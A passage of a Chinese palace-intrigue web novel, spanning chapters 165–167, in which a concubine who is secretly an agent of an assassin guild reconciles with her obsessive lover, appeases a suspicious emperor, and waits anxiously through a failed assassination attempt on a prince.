谁知道她什么时候又走了? “我不知道你睡得这么浅。”她摸着他的脸,下巴搁在他头顶,缓蹭着,“以后不会随便动你了,你睡着的时候。” “以后?”轮到他错愕,他埋在她颈窝里,手足无措地眨眨眼睛。 什么意思,以后她也肯来陪他吗? 他没敢问。 “天快亮了,我得回去了。出宫令牌被摄政王收走了,要回宫没有那么容易。”她一点一点解开他的手臂,掀开被子下了榻,原本想径直找身衣服换了回宫,忽而又想起他还在榻上坐着,眨眨眼,回身又去抱了他一下,“我先走了。你自己一个人,不要瞎想。” “乖乖。”他坐起了身,忽然道。 她已经又下了地,闻言回身。 他长睫半垂,脸色苍白: “我们,断吗?” 她顿了一下。 每次他这样,她都觉得他可怜兮兮的。 “你怎么想?”她叹了口气,“我也不知道,是放手对你更好,还是这样……” “不断。”他斩钉截铁。 她怔了片刻,“好。”又道:“给我拿身衣服,要走了。” “为什么这么着急?大约不过寅时。”他仰着头望她,张开双臂,她于是又走过来,他又环上了她的腰,撒娇似的摇她,“多留一会。” “我怕来不及呀,乖乖。”她指着窗外,窗子外已是一片蒙蒙蓝,天将亮未亮,鸟儿把枝头蹬得乱摇,“再不走,怕不好走了。” “别急。” 他起了身,走到墙壁旁,将书柜上一册佛经调了个方向,书脊向内,书页向外。 房间中顿时一阵沉缓的机关运作之声。 片刻,密道门大开,顾怀瑾牵着她的手,朝漆黑的甬道之中指了指,“往左,是紫宸殿。往右,是你的菡萏宫。” “……我的菡萏宫?”她一头雾水。 “你的菡萏宫。”他俯下身拥住她,没完没了地贴着蹭她脸颊,“或许是当年那位重臣与后宫娘娘有私情,或许是设计密道的匠人想狡兔多几窟。总而言之,紫宸殿、菡萏宫、顾府,彼此相连。” 南琼霜真是愕然。 “所以,别急,多留会吧。”他下巴蹭着她的额角,搂着她双肩,“你不知道我有多想你。昨天你那么说,我……” “等一下。”她打断,食指往幽邃的黑暗中指着,“你早知道这条路可以到菡萏宫,怎么没来找我,非要传字条?” “我也刚刚发现不久。”他笑,手指把她的碎发理到耳后,“发现的时候,你已经不要我了。所以就没有去。” 不知道为什么,南琼霜听出来一点温柔的恨意。 顾怀瑾若无其事,弯着眼睛笑着:“怎么不说话?” 她无言以对,摸了摸他的脸。 他蹭着她的手掌笑:“所以,最多只是去看你。没有真去打扰乖乖。” “你等一下。”她忽地一激灵,有些呼 吸艰难,“什么叫‘看我’?” 顾怀瑾笑吟吟望着她,不语。 她吞咽了一下,后背一层冷汗:“我的寝宫,也像嘉庆帝的寝宫一般,可以被人隔着墙偷窥?” 他犹自笑着。 她浑身起了层鸡皮疙瘩:“你隔着一堵墙,透过小孔,盯着我看?” “有时候是盯,有时候是听,有时候,是隔着墙陪你睡觉。”他忽地俯身下来,吮她的耳垂,低低地呵气:“有时候,想做,但你不肯见我……我就去见你。” “见我……?” 顾怀瑾笑得彬彬有礼。 “……什么叫见我?” 他柔柔地吻她发顶:“看着你做。” “你……!” 他笑开,温温柔柔地把人搂回怀里,一点也不许反抗,俯下身来,蹭着她脸颊: “谁都会想做嘛。” 她就说,从仙女湖回来,她总听见些若有若无的低吟。 神经病! “不是你说了要断的吗,仙女湖上?” “后悔了。我回去就受不了了。”他胳膊拦着她的肩,食指绕着她长发,一圈圈缠在指上,品味又回味:“放不了,好痛苦。当晚就想你,又想做。只能那样跟你做……你真是好狠的心。” “你如今莫不是……”她简直不知说什么好,这个人还记得自己从前是什么样吗? “不会了,往后不会了。”他强搂着她,细细地吻她额角,“你既然想开了,我又何必做这些事。乖乖,别担心。” 她真是头痛,扶着额长叹一声。 罢。随他吧。 她说:“别的都随你,只是我们在皇宫里,千万记得,不能有交集。” 她一根食指竖在唇间: “我们两个,不似我与摄政王,若有交集,别人兴许真看出什么来。皇上面前,你只管挑我的刺。你一说,我就哭。我一哭,你继续挑刺,没关系。针锋相对、势不两立——才安全些。” 他乖乖点头:“好。” “明面上做戏,私底下怎样我都随你。怀瑾,”她两手环过他脖子,贴到他怀里去,“就是别胡思乱想。” 他手环过她肩头,一边搂,一边抚摩:“你不要我,我当然胡思乱想。” “我哪里不要你。”她急得顿了两下脚,“我哪里不要你。我以后晚上来哄你睡觉好不好?” 他从昨夜开始,得到的允准太多,一下又蒙住了。 见他没说话,她抚了抚他的眼眉:“我怕你睡不好。” 他眼珠子若无其事瞥了两圈,再开口的时候,自然带了点委屈之态: “其实,我胃口也很差。” “那也来陪你吃饭,好不好。”她道,“好好吃饭,好好睡觉。少想一点,多忘一点。” “那你今晚想要什么。”他一口咬定时间就今晚,“白灼虾和黄瓜炒蛋好不好?你肉吃得太少。” “随你。”她轻轻捏了捏他的手,“但我先走了。不敢离开皇宫太久。” “如果你不来……”他带点快意,咬字,“我就死。” “你别跟我胡说,顾怀瑾!”她气得掐他,连推带搡地把他推回房间里去,“多大的人,说这种话!” 密室门缓缓关了,他在墙那边笑个不停。 南琼霜真是哭笑不得,长出了一口气,转过身。 还能笑,还算好。 原本,他变成这样,都是因为她。 从前,她宁愿看着他痛苦,也不肯心软,一是为逼他断掉,二是不愿为了情爱,放弃十二年心血。 可是,他竟然拿他自己的命,放在天平的另一边。 她别无选择了。 她的差事和他的命,要论轻重,五年前,她就已经有了答案。 遇见他,也不知道是幸还是不幸。但既然已经纠缠至此,逃也逃不开,断也断不掉,那么,强装无情,也没意义。 再心狠,也只是伤人伤己。 算了吧。 她回身,深深望了那合上的密室门一眼。 多陪陪他吧,多陪陪他。 第166章 菡萏宫诸人,全以为自家主子夜里去了紫宸殿侍奉,没想到一起身,珍妃娘娘在自己榻上躺着,无不惊骇茫然。 宫人们不敢在主子眼睛底下议论是非,虽然不解,也只敢背地里说说闲话,面上依旧沉默做事,一派有序。 只是,整个菡萏宫的人,一齐讶异怀疑,那气氛之诡异,已经不是睁一只眼闭一只眼便能装看不见的。 她自晨起开始,便被所有宫人盯着看。 送净面热水时,一边搁下盆,一边鬼鬼祟祟地瞄她一眼;送早膳时,手里规规矩矩端着餐盘,眼睛东拐西拐地往她背后贴;进来点香的,熏艾的,擦拭宝瓶的,一个一个,临走前都要偷瞥她一眼。 盯一秒,不敢看,偏开。偏开,又瞥。 南琼霜坐在妆镜前,只觉这些目光来回交织成一个密密的丝线阵,她在其中,一会给缠一下,一会给绊一跤,不胜其扰。 她烦躁意乱地向后一靠。 远香站在身后替她梳妆,清涟从旁取来了首饰盒,在她面前打开,“娘娘,今日您想戴哪些,换哪件?” 南琼霜恹恹看了一眼,没兴致,抬眸看了一眼清涟。 这两人倒是一个字也不多问。都是往生门蓄养的武婢,晓得什么该问,什么不该多嘴。 她叹口气,“今日不带,素些吧。” 远香一愣,眼睛一转,依旧没问,只是道:“那您衣裳穿哪件?” “那件寒月白的。”她道,“宫宴上闹得那么大,今日得去皇上面前请罪,不能艳丽了。” 远香拿出了胭脂:“今天可还打算用些颜色?” “脸颊上不要扫。”她朝镜前倾了倾,手指在下眼睑圈了一圈,“画在眼下,下睫毛。照着人泫然欲泣的样子画。”又道,“鼻尖也给我扫一些。” 最好,是一蹙眉毛,便楚楚可怜。 嘉庆帝爱她那副娇花一般的脆弱样子,越柔弱可欺,嘉庆帝的脸色也许就越好些。 昨日,被人公然说与摄政王有染,嘉庆帝气得在紫宸殿里乱砍乱骂,往后,她还不知会怎么样。 嘉庆帝那个人,虽然从龙椅上被人撵了下来,但毕竟是坐过龙椅的。权力的滋味,尝过了就戒不掉,他始终存了点幻想,以为自己是那卧薪尝胆的勾践。 这样的人,如何会容人在宴会上大肆揭短。 他或许拿定王没辙,拿太妃没辙,但她的性命,却实实在在地把握在他手里。 她头疼欲裂,想着一会的说辞。 忽然又想到,那个李慎舒,宫宴之后被她讨了来,正在她菡萏宫中伺候。 四下望了一圈,却不见人影:“新来的慎舒姑姑呢?” 远香望了一眼清涟:“诶,慎舒姑姑刚才不是同我们一齐进来了,人呢?” 清涟四下望了一圈,摇头:“不知道。” 南琼霜拿把木梳在妆台上磕了两下:“带她过来,我有些话要问。” 不多时,李慎舒带着她一贯妥帖周到的笑,稳步缓行过来,恭敬行了礼: “奴婢给珍妃娘娘请安。” 南琼霜转着木梳瞧她,一面打量,一面拄腮,饶有兴致。 李慎舒敛着眉目,微笑低眉,不得她的令,连眼帘也不会多抬半分。 往生门那般目无王法之地,养出来的人,竟会有这般守规矩的,真是奇特。 她想起来她昨日那句“太妃嗜睡疲乏,言行有异。” 多有意思。模棱两可的一句话,怎么解释都成,太妃和摄政王的意思兼有,纯看如何解读,何人解读。 她挥了挥手,“行了,差不多了,都下去。”对李慎舒伸出了手:“姑姑,您坐。” 李慎舒恭顺垂眉,未动。 清涟远香二人下去,也瞧出她的意思,默然不语地带上了门。 寝殿之中,顿时只余二人相对。 “坐吧,姑姑。”她起了身,自己到窗下的罗汉床上倚着去,手中纨扇指了指小几对面的位子,“昨日有劳了。” “做奴婢的,主子问话,如实作答,是奴婢的本分。娘娘赏识奴婢,奴婢已是受宠若惊,哪里敢与娘娘相对同坐呢。” 南琼霜似笑非笑,摇着纨扇,愈发仔细地打量她。 良久,她敛眉含笑,依旧是一丝破绽也无。 南琼霜暗自赞叹,啜了口茶,一面道: “如实相对,虽说是应有之义,但能做到的,也没有几人。姑姑肯有什么说什么,本宫才能安然无恙,说起来,本宫是托了您的福。” 李慎舒谦谦含笑:“娘娘折煞奴婢了。”犹自不肯落座。 南琼霜也不欲勉强她,捏着茶盖一圈圈刮着杯缘: “静思轩中,姑姑侍奉常太妃,处处细致,滴水不漏。本宫见了,真是羡慕太妃有福气。昨日,姑姑又在皇上面前替本宫出言澄清,本宫不知如何报答,遂将姑姑讨了来,想留在身边。不过,昨日太匆忙了些,尚未问过您自己的意思。不知你可有意?” “娘娘赏识奴婢,奴婢感恩戴德,哪里会不情愿呢。” “那么,姑姑就算是本宫自己人了。”她倾在小几上,手肘拄着桌面,手里纨扇一下一下摇着,“我有些事,想要问姑姑。” 李慎舒恭敬颔首听着。 “太妃敢在宫宴上公然要姑姑作证,不会是脑子一热就开了口。敢问姑姑,何以拂了太妃的美意呢?” 一边说,一双眼仔仔细细往她面上端详。 李慎舒神色纹丝未动:“有便是有,无便是无,奴婢不过是如实相告。” 南琼霜带点惫懒的笑,搓着扇柄。 往生门出来的,哪有正直不阿之徒。 她不过是不肯说。 她懒得再周旋,干脆将话捅破:“姑姑是想明哲保身。” 掀着茶盖,呷了一口。 李慎舒面色僵了半瞬,复又沉缓微笑。 “三方相争,紫禁城不知何时便要易主。姑姑无意涉足其中,只想自保。毕竟,主子们争得头破血流,又与奴婢何干,伺候谁不是一样伺候。” “只是,太妃此举,等于强逼姑姑站队。你并无此意,因而不愿。但太妃找上了门,也不是轻易回绝得了的。要么开罪摄政王,要么开罪定王。两害相权,取其轻。姑姑是觉得摄政王一方胜算更大,因而如实作答,是也不是?” 李慎舒只是笑而不答。 “已经开罪了定王,最好就与摄政王的人亲近些,是以,本宫相信姑姑的忠心。本宫是知恩图报之人,你帮过本宫,本宫也不会亏待了你。不过我倒想问问,太妃赠予你那些金银财物,你是如何处理的?” 收了,便是贪人钱财,然后叛主。不收,便是不识抬举,胆量有余,圆滑不足。 李慎舒却低了头: “方才,拿出五分之二,挑出宫女太监里几个领头的,仔细替娘娘打点了一圈,告诫他们不得妄传流言。” 她掌中悠然转着的扇柄,骤然停在她掌心里。 “皇上久不召嫔妃侍寝,已经习惯榻侧无人,有人,反倒无法安睡。娘娘怕扰了皇上休息,侍寝之后独自回宫,奴婢是亲眼见着了的。”她垂首,“有些好事之徒,不懂娘娘苦心,肆意妄言。奴婢见不惯,呵斥之后,以娘娘的名义施了些恩惠,吩咐下去,不准再谈了。” 又道:“娘娘若有意,奴婢便拿余下的五分之三,打点紫宸殿的宫人。奴婢入宫已久,在宫人之中,也有些积威。” 南琼霜默了半晌,将人又上上下下认认真真打量过一圈。 许久,终于一笑。 太聪明的一个人。聪明得太过,若不是知道她已经开罪了定王,这样的人,她还真不敢用。 “姑姑有心了。”她端着茶盏饮了一口,搁回小几上,嗒的一声,“人有五脏六腑,心却唯有一颗。姑姑若只有这一心,自然是身体康健。若是一身二心,只怕就命不久矣。姑姑是水晶心肝玻璃人,其中利害,不必多言。” 李慎舒微笑称是。 “姑姑如此为本宫奔走,本宫念你的好。去找远香支三百两银子吧,姑姑应得的。” 李慎舒领了命,恭敬告退。 南琼霜手肘拄在小几上,目送着她渐渐退下去,捋着长发,思量许久。 李慎舒其人,聪明得太过。 过分聪明的人,要么用,要么杀,掌控是掌控不了的,骗也骗不得。 原本想开门见山地问问她,赎身之后,境况如何。可她现在成了菡萏宫的掌事姑姑,日夜在她身侧,倒也不必问了。 李慎舒过得好不好,言行是否有异,她亲自观察着就是。 何况,聪明到这地步的一个人,若能为她所用,真是如虎添翼。 想必,她是往生门的人,过不了多久,李慎舒便会察觉吧。 她甚至不必开口。 倘若往生门真对赎身之人穷追不舍,李慎舒发现她的身份以后,定然会有所动作。 她不必急,等就好。 南琼霜悠悠地打定了主意,抬眼望向窗外。 时已立秋,雕窗外是一片湛蓝的天。 天上流云缓拂,窗下树枝轻摇。才刚初秋,树叶未黄,在太阳底下一片一片闪着光。 她望着树上那些自在的、惬意的鸟儿,长叹一声。 是嘉庆帝起身的时辰了,去紫宸殿吧。 紫宸殿内,平静如常。 殿门口的玛瑙珠帘直直往下垂着,浑圆的红珠子在风里彼此轻碰,一点清脆的响。 王让恭恭敬敬在殿门口守着。见了她,神色依旧是一番恭恭敬敬,跟她道: “娘娘,您请。” 她满腹忌惮地从他撩起的珠帘底下走过去。 昨日,嘉庆帝发着狂怒骂了她一通,可是,这太监面上是丝毫不显。 越一切如常,她心里越忐忑。 她心事重重地跨过了紫宸殿的门槛。 一入殿,堂皇大殿里的穿堂风便吹得她浑身冰凉。 她整个早上,一直在琢磨嘉庆帝。 虽然顾怀瑾说了,摄政王只是信口胡诌,可是嘉庆帝显然未听进去几分。 这已经不是得宠失宠的问题了,嘉庆帝大概动了杀心。 他原本就有疯症,疯子发起病来毫无道理可讲,她又只是他身边众多女人之一。 从前他爱她,一半是爱她容貌心性,一半是因她背后有个摄政王。可是如今,她和摄政王的流言传得沸沸扬扬,他不仅借不上摄政王的力,还因她而受辱。这个疯子,哪里忍得了这些事? 说不准哪一日,就不疯装疯,取了她大腿骨,打一把琵琶。 她头皮发麻,缓步绕过了殿门口的金山水屏风。 殿内,嘉庆帝正背对着她,坐在桌前。对面,一个沉郁身影拄着太阳穴看书,一身玄黑,不近人情,正是顾怀瑾。 他一旦缚上那根绸带,就不苟言笑,难以接近。 她磨磨蹭蹭地拖着步子走近前,福了福身: “臣妾给皇上请安。” 背对着她的明黄身影一僵。 顾怀瑾搁下了书,抬起头。 她一颗心立时砰砰直跳,高高地扑到嗓子眼。 嘉庆帝转过身。 竟是一个和煦的笑。 他朝她伸出手,眉开眼笑:“德音,快来,朕等了你许久。” 南琼霜倏地怔在原地,后背出了一层密密的冷汗。 她当即软着膝盖跪下去,甫一及地,泪已潸然,捻着帕子哀哀拭泪: “臣妾……臣妾今日,是来向皇上讨罚的。昨日表兄在乾和殿内大闹了一场,臣妾是百口莫辩,无从述说。人言可畏,德音此生是无颜侍奉皇上了。德音并不敢求皇上原谅……”她含泪叩头,“但请皇上重罚。德音甘愿再入静思轩,闭门思过,了此残生。” 话毕,抖着身子伏在地上,眼泪啪嗒啪嗒砸了一地。 嘉庆帝回着身子犹未动作,顾怀瑾默了一刻,心烦意乱地按揉眉心。 嘉庆帝提心吊胆地望了他一眼。 “先生,您莫烦躁。”他倾着身子劝,“昨日一场闹剧,德音心中不安。朕并不怪罪她,三言两语,此事便能说开了。德音并不会在此处多久。” 顾怀瑾语气不耐:“无妨。”又道:“娘娘别跪了。” “臣妾不敢不跪……”她咬着帕子呜咽,额头又贴在冰凉的金砖地上: “臣妾也不知是哪里得罪了定王和太妃,竟要被人在大庭广众之下如此污蔑!九五之尊,岂容流言玷污!德音虽是无辜,却令皇上蒙羞,不论此事是真是假,都唯有自请离去。德音惟愿皇上万勿动怒,珍重自身……” 越说,抽噎得越厉害,话堵在喉咙里哽得一截一截的,渐渐说不下去了。 顾怀瑾倚在椅子里,一个字没有,若无其事地看书。 眉目里一片似有若无的不虞。 嘉庆帝小心翼翼睨了一眼他脸色,转头就端着笑意将她扶起了身:“德音快起来,地上凉。昨日之事,朕晓得你是清清白白,并未怪罪于你,你别多想。朕同先生有些话要说,眼下没空陪你,你速回菡萏宫歇息吧。” “清清白白?”她终于站起了身,膝上的裙子跪得皱皱巴巴的,两汪眼泪盈盈蓄在眼底,“皇上并不打算罚臣妾?” “朕不罚,也不怪罪。”他紧着回身又瞟了一眼顾怀瑾,“先生在此,你先下去吧。” 嘉庆帝是真怕惹了顾怀瑾不悦,恨不得她立刻 从他眼前消失。 顾怀瑾心乱如麻:“娘娘究竟打算哭多久,跪多久?” “我……”她咬着帕子,刚要开口,嘉庆帝竟站起身,把着她双肩将她转了一圈: “朕晓得昨日只是误会一场,德音千万别放在心上。德音不是同大明宫交好吗?前些日子为何同摄政王起了龃龉?摄政王的脾性不是好相与的,德音速去同摄政王道个歉才是。朕信你,并不会受奸人挑拨。” 连他那要死要活也非要放出来的母亲,也成了“奸人”了。 她万没料到嘉庆帝是这个反应,越过皇上,遥遥望了一眼桌前的人。 顾怀瑾叉着腿靠着椅背,浑不在意似的,冰寒着神色看书。 她有点迟疑:“皇上要德音与摄政王重归于好?” 嘉庆帝:“正是。” 顾怀瑾轻轻翻过一页。 嘉庆帝握着她的手道:“快去吧,朕当真没有放在心上。先生也反反复复地劝过朕,朕听进去了。摄政王刚下了朝,人正在大明宫,现在去,刚好有空见你。” 南琼霜不必凑到他跟前,也知道有人正竖着耳朵听。 她总觉得他又有些不大不小的火。 她有点语塞:“同大明宫和好,现在并不是好时机,表兄正恼我呢。”暂且拒绝一下,对那人表个态,再安抚嘉庆帝一番,“等到他怒气消了,才好同他说和,不然,去了也是白去。” “那么,待到应去之时,速去。”嘉庆帝拊掌一笑,又将她往殿外推,“今日,德音还是先回菡萏宫吧。” 南琼霜愣头愣脑地被嘉庆帝推了出来。 紫宸殿前面的汉白石广场上,一片迷茫的白。 她一头雾水,丈二和尚摸不着头脑。 是被顾怀瑾劝过,于是改了念头,一心信她,还是这副不计较之态,全是装的? 假如是被人劝——嘉庆帝骨子里仍是以一国之君自诩的,他会全然听从某个人的话,一夜之间,改了看法吗? 他昨夜还在寝殿之中发狂。 假如不是。 那么,嘉庆帝面上一套,背地一套,两相割裂,极擅做戏。 她几乎有些胆寒。 或许,此前,是她小瞧他了。 她最后回身望了肃穆富丽的紫宸殿一眼。 紫宸殿的澄黄琉璃瓦,映着午时刺目的太阳光,晃得人眼睛一片花。 湛蓝天色下,金黄的屋脊兽排列成行,将照耀万物的太阳,一口吞吃了下去。 * 嘉庆帝究竟是何意,她后来在菡萏宫中冥思苦想了整整一天。 思来想去,只能猜出,皇上想笼络她。 或许是因李玄白不容常家军动她半点;或许是因李玄白再发火,依然叫人往冷宫里送瓜果;或许是因她半点面子都不给李玄白留,李玄白却一而再再而三地纵容她。 他想用她,来牵制大明宫,平衡定王府。 嘉庆帝会有如此打算,并不稀奇。可他昨夜还气得歇斯底里,今日就可以演得春风满面,实在是太出乎她意料。这么久以来,她一直拿他当一个耽于享乐的昏聩之徒,哪知他竟如此会藏,如此能忍。 若非在密室中亲耳听见他字字怨毒的咒骂,南琼霜不论如何不会相信,一个疯子,有如此城府。 或许他不是个疯子。 或许连他的病,也是装的。 如果他是装病,那么,顾怀瑾整日给他治疗,又是在治些什么? 她不知道自己是否想多了。 她头痛欲裂地揉着太阳穴。 并且,还有一件事,她一直放不下。 嘉庆帝说要她与李玄白重归于好,顾怀瑾是听见了的。 他那个人,听见“李玄白”这三个字,就是一派失态,患得患失得厉害,跟没人要的小狗一样。她虽然委婉地说了不去见李玄白,谁知他听不听得懂,听不听得进去。 昨天才刚哄好一点,别一会又旧态复萌,拿着刀子,往自己身上比划。 她从字帖上裁了一小块下来,拿笔蘸墨,打算给他传张字条。 刚在纸上洇了一个墨点,却又停下。 这时候,心烦更甚。 他一直有死志。天山已倒,半分转圜弥补之地也没有。事情在这摆着,她再哄,再劝,只怕也是无用。 噩梦永远在他足下等着他。一个不备,一脚踩空,就是重蹈覆辙,万劫不复。 假如……假如把往生门的内情告诉他呢? 从前不肯透露给他,是她不愿因男女情爱背叛往生门,十二年心血付诸东流。 现在,却怕说了,也劝不了他了。 为了复仇而活的人,复了仇后,还是会自寻死路。 她痛苦地扶着额头,长叹了一口气。 罢,说了总比不说好,治标不治本,也好过他动不动给自己一刀。 她抬笔在字条上写下: “君欲知之事,今夜愿如实告知。” 写完,折起来。 又匆匆打开,补上:“勿胡思乱想。” 折得妥帖后,递予清涟。 之后,便是静待夜深人静之时,穿过甬道,秘密前往顾府。 密室的甬道口在她寝殿的大衣柜里。天亮着时,人多眼杂, 不好光明正大地往衣柜里钻。 她倚在贵妃榻上望着窗外初秋的天,心里来来回回地斟酌盘算,欲多回想些嘉庆帝的所言所行。 不知不觉,天黑了。 这本是紫禁城里一个寻常的初秋。 如果,雾刀没有带来那个消息的话。 亥时,菡萏宫已熄了灯。周遭一片死寂,清涟远香伺候她梳洗完毕,替她将纱幔床帏挂了下来。 宫中已是一片黯淡青色,唯有两盏豆大的烛火守着夜,幽幽跳动。 她凝神谛听一阵,四下半点声响也无,于是缓缓坐起身子,撩开了帷帐。 她的一双赤足踩上冰凉的地面之时。 雾刀:“姑奶奶,洛京城,要变啦。” 她骇得骨头一阵颤颤战栗:“嗯?”将床帷一把撩开。 雾刀:“今夜,定王府那边,咱们的人动手啦。” “公孙红,收网啦。” 第167章 公孙红收网了。 三方对峙之局分崩离析,就在今夜。 静夜无声。不论如何细听,洛京城都淹没在一片死寂里。 一切如常,风云巨变。 她骨头缝里渗出丝丝凉意,一直发毛到齿关。 “那边情况怎样?” 雾刀蹲在她榻边,现出了身形: “不知道。” “不知道?”她拉了拉袖子,盖住汗毛直立的小臂,“那边有这么大的动作,你不在那边盯着进展,竟然自己跑回我这?我要你干什么吃的?” “小的给人撵回来了,不是不想帮姑奶奶盯着。”雾刀挠了挠头,屁股一墩,盘腿坐在地上,“那边忙着呢,没小的插手的地方呀。连个站的地儿都没有。” “怎么回事?” “小的也不晓得公孙红到底如何计划。不过收网的令下了后,整个洛京内的同僚都得了令,各自原地待命,要是出了什么事,出来帮忙掩护。七杀的大人们更是得了支援令,在定王府外等着呢。门内的意思是,今夜必须取了姓常的狗命。” 雾刀笑了一声,一双小眼珠刻毒逼人,眼里的光仿佛碎刀片: “所以,今夜所有同僚,一并服从调配。姓常的今晚,公孙红是一关,公孙红失了手,府外的七杀是第二关,天罗地网,苍蝇皆兵,就算他是只苍蝇,也别想跑啦。” 南琼霜:“苍蝇皆兵?” 雾刀流着冷汗冥思苦想:“呃,仑烛那小子教我的一个词儿。” 南琼霜无奈扶额:“……草木皆兵。” 雾刀挠着颧骨赔笑。 南琼霜:“而且也不是这么用的,蠢货。” 雾刀腆着脸堆笑:“小的还没说完呢。今夜所有同僚,全都竖着耳朵听信儿,让谁去,谁就去,不得抗命。所以小的回来找您来啦。” 南琼霜心事重重地捏紧了锦衾。 偏偏是这种时候。跟顾怀瑾约好了要去见他。 他那个人,敏感多思,她不声不响地失了约,谁知道他又能瞎琢磨出什么来? 她道:“你出来时,是动完了手,还是正待动手?” 雾刀:“小的是清场时给撵出来的。时辰定在了子时,这会儿,估计快了。” “总指挥是哪个?” “墨角。” 墨角,是七杀堂前堂主。前些日子调度不当,栽在了顾怀瑾手里,害得门内损兵折将,故而被撸了职。 “这么大的事,又是他负责?”她有些不好的预感,这墨角,为人武断刚愎,就打牌的时候会保守些,一旦打起来,是最不赌不快的,怎么这事还是他负责? 她道:“是就外面待命的听他,还是连公孙红也要听他?” 雾刀:“那小的就不知道了。” 她心中惴惴,皱着眉头半晌不言。 “你还是去找个地儿给我盯着。有什么事,回来给我报信。公孙红若得了手,京中今夜就会巨变,我必须得捋捋想想。” 常达若是今夜殒命,他的福余三卫究竟归谁所有,常家军归谁所有,山海关外的大军又归谁所有。若是死得不急,或许临终还有遗言,但即便按遗言分配,他那两个儿子听不听,服不服是一说;他的军队听不听,服不服,又是另一说。 若是连半个字的遗言都无,常忠常平究竟如何会如何应对,如何相处,也是难以预测的大问题。大明宫那边会如何反应,更是未知。 若是他不死,京中局势,又是另一番扑朔莫测。 她千头万绪,一时间仿佛脑子里塞了一团乱七八糟的毛线,凌乱不堪,找不到线头。 雾刀却咯咯笑起来:“不行啊,姑奶奶。墨大人给小的下的令是回来守着您,万一大人要用您呢。” “我身体已经差成什么样子,就算七杀死光了,也不会让我一个极乐堂的出去凑数。”她心急,既想安静思索一会,又想偷偷给顾怀瑾传个信,“赶紧滚,别在这耽误我想事!” “姑奶奶。”雾刀开着腿坐在地上,左手搁在膝盖上晃着,“小的这些日子没守着您,您是一点儿也没念着小的啊。这才刚来,又要小的滚了。” 他咧着嘴笑起来,一口尖细犬牙反着寒光:“怎么?有急事儿啊?” 南琼霜发了一层密密的鸡皮疙瘩,面上冷笑: “少放屁。别忘了你个狗东西怎么跪着求姑奶奶的!日子长了,给你两分笑脸,又掂不轻自己分量了!轮得到你诈我?敲打我?!” 她一竖眉毛,雾刀顷刻一缩,改了一副谄媚面貌:“诶,别呀,错了,您消消火。”又嘿嘿苦笑,“但小的真不敢走啊。上头线人也在这附近,要是墨大人有令,人家到这来找我!我要是接不着令,不是耽误事吗?” 话说到此,南琼霜知道,不能再撵他了。 再撵,他非品出点什么不可。 她将榻上锦枕抓起来,劈手往他头上一掼,咬牙:“那就滚远点,少在我跟前!就是因为你,太妃才非说我跟男人私会!” 雾刀满面堆笑地藏了身影。 他一旦施展匿影术,就跟一团墨化入了水里一般,瞪着眼睛,也寻不见身形。 南琼霜心烦意乱地靠着床架,闭了闭眼。 随时可能有命令给她,雾刀今夜绝不会离开她半步。 这个狗东西,鼻子跟野兽一样灵敏,要在他眼皮子底下做点手脚,难如登天。 她思索半晌,撩开床帷,下了床。 雾刀:“干啥啊。” 她叹气:“这么大的事,睡不着,静静心。” 说着,走去桌边,自一旁书架中挑出一册书来,借着月色摊开,又拿着一支笔蘸了墨。 雾刀不知从什么地方,远远窥着书页上的字,“南无阿弥多婆夜(1)……哆他,什么玩意哆夜。哆地夜他。什么玩意儿。” 南琼霜摊纸悬腕,“傻子,佛经。” 《往生咒》。 将书取下来的时候,她刻意遮住了书脊上的字,又用镇纸盖住了题目。 雾刀是不会发现这经的玄机的。 其他人也察觉不了。 唯有顾怀瑾那般,整日爱拿着佛经读两页的人,才会明白她在做什么。 她光明正大地,一笔一划地写。 “诶哟,几天不见,姑奶奶吃斋念佛啦?有意思。” 她爱答不理:“心里事太多,一边写,一边捋。” 雾刀不说话了。寝殿内唯有一点她衣袖擦过宣纸的窸窣声响。 只是,这点线索,也是聊胜于无,未必派得上用场。 假如今晚没有特殊的令给她,她只能在菡萏宫里守一夜。顾怀瑾若通过密道过来寻她,就会见到她本人,用不上这字帖。雾刀以为他是她的另一个目标,并不会坏她的事。 唯有她真要出宫办差,这字帖才会顶些作用。 以防万一,有备无患。 不过,可能他也顾不上儿女情长了。 定王那边出了事,他定然是焦头烂额。不知公孙红是否能一击得手,倘若得手,时局大变;倘若不得,不知那一王府的福余三卫和常家军,与七杀的精英拼杀起来,究竟孰胜孰败。 不论是哪一方胜,哪一方败,他都无法独善其身,肯定是大半夜的指挥飞鱼卫四面维.稳,以求保得定王一条性命。 定王府若支撑不住,或许会问顾怀瑾借飞鱼卫。若能够应付,街上的动静也够把他折腾起来,他还是要带飞鱼卫追杀刺客,封锁城门。 长夜难卜,他注定无眠。 她轻轻地、心酸地叹了口气。 他昨夜才好好睡了会觉,还被她不小心吵了起来。 早知如此,多陪他睡会。 一页写满,她忧心忡忡地搁了笔,借着月光,放在一旁,换了张新纸。 忽然雾刀又开口:“姑奶奶。” 她望了一眼窗外寂静夜色,外面是一片青寒月光:“嗯?” “线人来信了。” 她的笔顿时定在空中。 雾刀声音很急: “那边出了点差错,公孙红失手了。” “怎么回事?” “原因没传来。但七杀的人跟定王的人交上手了。” “谁占上风?” “正在打。满城的眼睛四面传信呢。” “要调我吗?” “没说。就是叫所有人戒备,互通消息。” “姓顾的有没有动作?大明宫呢?” “没说,不清楚。” 想来是那边局势太乱,线人们也盯不了太多人。 她心绪更乱,想再抄几个字,却抄不下去了,放下笔转了几圈, 心里却更发虚,最后毫无办法,又踱回了桌前拿笔。 刚又写了两个字,雾刀的声音又响起来: “又有信了。” 她手一抖,浑身发凉。 “不大妙。福余三卫他妈太能打,七杀的人也顶不住,墨大人准备让其余人撤退了。定王未死,墨大人打算再拼一把,留了两三个高手,跟他一同血拼。” “他又要赌?”赌.棍就是赌.棍,狗改不了吃屎。 “福余三卫全出来了,满城追咱们的人。咱们的人拼命跑呢。分了四个方向分头跑,已经有一批人出去掩护了。” “我呢?” “没说。” 想也想得到,她的身份,远比她的身手更有作用。不到再无一兵一卒可用的地步,都轮不到她出场。 “福余三卫全出来了?” “眼睛是这么说的。” 那么,府内留的就是常家军。刚刚遭遇了刺杀,定王身侧不可能不留人。 “大明宫呢?姓顾的呢?” “没说。” 她逼迫自己沉下气来,走去窗边望了会月亮。 隐隐约约,已经能听到外面一些厮杀呐喊之声。 她焦虑不宁地长吸了一口气,缓缓呼出来,手指按在窗边,捏着。 “又来信了。” “福余三卫骑着马满街狂追。官兵惊动了,开始封路。飞鱼卫也出动了,跟着追咱们的人。不妙。” “常达如何?” 七杀究竟死多少人,她不在乎。只要常达不死,局势还能安稳几天。 “没死。墨大人带的高手死绝了,大人撑时间呢。” 果然如此。 “撑时间?” “我猜是调了云瞒月。” 